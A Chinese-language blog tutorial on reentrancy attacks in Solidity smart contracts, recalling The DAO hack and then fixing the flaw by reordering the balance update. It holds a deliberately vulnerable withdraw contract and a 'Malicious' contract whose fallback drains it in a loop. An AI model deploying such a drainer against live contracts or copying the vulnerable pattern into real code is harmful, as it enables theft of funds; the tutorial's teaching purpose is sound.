链眼社区:专注于区块链安全,区块链数据分析, 区块链信息整合,区块链技术服务和区块链技术咨询。

solidity智能合约安全-重入攻击
扫地僧
2021-08-07 00:00:00

重入攻击

当调用外部的合约时,外部合约会接管控制流程,从而可能给自己的数据带来意想不到的修改。2016年6月,以太坊最大众筹项目The DAO被攻击,黑客获得超过350万个以太币。正是由于此陷阱。

重入攻击本质

1、调用外部合约
2、fallback回调函数被多次执行
3、逻辑顺序出现问题
4、call函数没有gaslimit的限制。
5、call函数返回值为true或false。出错不会执行回滚。

案例剖析

1、部署合约Vulnerable、Malicious、transferEther,假设地址为 addrA、addrB、addrC
2、 将addrB传递到 Vulnerable合约的 add中。 完成此操作后,将balance映射的金额增加100。附带5 ether。让Vulnerable合约一开始就有5 ether。
3、将addrA的地址传递到Malicious合约的instance中,存储地址。

4、调用transferEther合约的test方法,传递addrB的地址。由于合约的转账方法出发了fallback回调函数。因此执行了Vulnerable合约中的withdrawEquity方法。此方法执行了语句 msg.sender.call.value(x)();而当前的msg.sender为Malicious合约地址,又会再次执行Malicious合约的回调函数。而这时,____balanceOf[msg.sender] 的金额还没有变为0.使得Vulnerable不停的转移资金给Malicious合约。一直到到达了gaslimit的限制从而终止。但是由于call函数返回值为true或false。只有最后的函数出错会执行回滚。其他函数会正常的执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

contract Vulnerable{
   mapping(address =>uint) public _balanceOf;
   

   function withdrawEquity() public returns(bool){
       uint x = _balanceOf[msg.sender];
       msg.sender.call.value(x)();
       _balanceOf[msg.sender] = 0 ;
       return true;
   }

   function add(address _addr) payable{
       _balanceOf[_addr] = 100;
   }

  function getBalance() returns(uint){
       return this.balance;
   }
}


contract Malicious{
   address private _owner;
   Vulnerable public vul;
   function setInstance(address addr) public{
        vul = Vulnerable(addr);
   }

   function Malicious() public {
       _owner = msg.sender;
   }

   function () public payable{
       vul.withdrawEquity();
   }

   function winnerWinnerChickenDinner() public{
       _owner.transfer(this.balance);
   }

   function getBalance() returns(uint){
       return this.balance;
   }
}

contract transferEther{
   function test(address _addr) payable{
       _addr.call.value(5 ether)();
   }
}
解决办法

1、替换顺序,这样当重复执行withdrawEquity函数时,资金已经变为了0。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function withdrawEquity() public returns(bool){

   uint x = _balanceOf[msg.sender];
   msg.sender.call.value(x)();
   _balanceOf[msg.sender] = 0 ;
   return true;
}
替换为:
function withdrawEquity() public returns(bool){
   uint x = _balanceOf[msg.sender];
   _balanceOf[msg.sender] = 0 ;
   msg.sender.call.value(x)();
   return true;
}

2、替换为更安全的send、transfer函数
3、对于调用外部合约的时候保持警惕。


合作伙伴